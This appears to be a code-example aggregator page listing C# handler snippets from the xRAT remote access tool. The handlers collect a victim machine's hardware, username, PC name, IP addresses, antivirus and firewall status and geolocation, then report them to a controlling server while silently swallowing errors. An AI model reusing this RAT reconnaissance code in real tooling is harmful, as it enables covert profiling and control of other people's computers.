コード例 #1
0
        public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client)
        {
            try
            {
                string[] infoCollection = new string[] {
                    "Processor (CPU)",
                    SystemCore.GetCpu(),
                    "Memory (RAM)",
                    string.Format("{0} MB", SystemCore.GetRam()),
                    "Video Card (GPU)",
                    SystemCore.GetGpu(),
                    "Username",
                    SystemCore.GetUsername(),
                    "PC Name",
                    SystemCore.GetPcName(),
                    "Uptime",
                    SystemCore.GetUptime(),
                    "LAN IP Address",
                    SystemCore.GetLanIp(),
                    "WAN IP Address",
                    SystemCore.WANIP,
                    "Antivirus",
                    SystemCore.GetAntivirus(),
                    "Firewall",
                    SystemCore.GetFirewall()
                };

                new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
            }
            catch
            { }
        }
コード例 #2
0
 public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo command, Core.Client client)
 {
     try
     {
         string[] infoCollection = new string[20];
         infoCollection[0]  = "Processor (CPU)";
         infoCollection[1]  = SystemCore.GetCpu();
         infoCollection[2]  = "Memory (RAM)";
         infoCollection[3]  = string.Format("{0} MB", SystemCore.GetRam());
         infoCollection[4]  = "Video Card (GPU)";
         infoCollection[5]  = SystemCore.GetGpu();
         infoCollection[6]  = "Username";
         infoCollection[7]  = SystemCore.GetUsername();
         infoCollection[8]  = "PC Name";
         infoCollection[9]  = SystemCore.GetPcName();
         infoCollection[10] = "Uptime";
         infoCollection[11] = SystemCore.GetUptime();
         infoCollection[12] = "LAN IP Address";
         infoCollection[13] = SystemCore.GetLanIp();
         infoCollection[14] = "WAN IP Address";
         infoCollection[15] = SystemCore.WANIP;
         infoCollection[16] = "Antivirus";
         infoCollection[17] = SystemCore.GetAntivirus();
         infoCollection[18] = "Firewall";
         infoCollection[19] = SystemCore.GetFirewall();
         new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
     }
     catch
     { }
 }
コード例 #3
0
ファイル: ConnectionHandler.cs プロジェクト: hzdwang/xRAT
 public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client)
 {
     GeoLocationHelper.Initialize();
     new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
                                                         GeoLocationHelper.GeoInfo.country, GeoLocationHelper.GeoInfo.country_code,
                                                         GeoLocationHelper.GeoInfo.region, GeoLocationHelper.GeoInfo.city, GeoLocationHelper.ImageIndex,
                                                         SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName(), Settings.TAG).Execute(client);
 }
コード例 #4
0
ファイル: CommandHandler.cs プロジェクト: yhz9999/xRAT
        public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client)
        {
            SystemCore.InitializeGeoIp();

            new Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
                                                 SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex,
                                                 SystemCore.GetId(), SystemCore.GetLanIp(), SystemCore.GetPcName()).Execute(client);
        }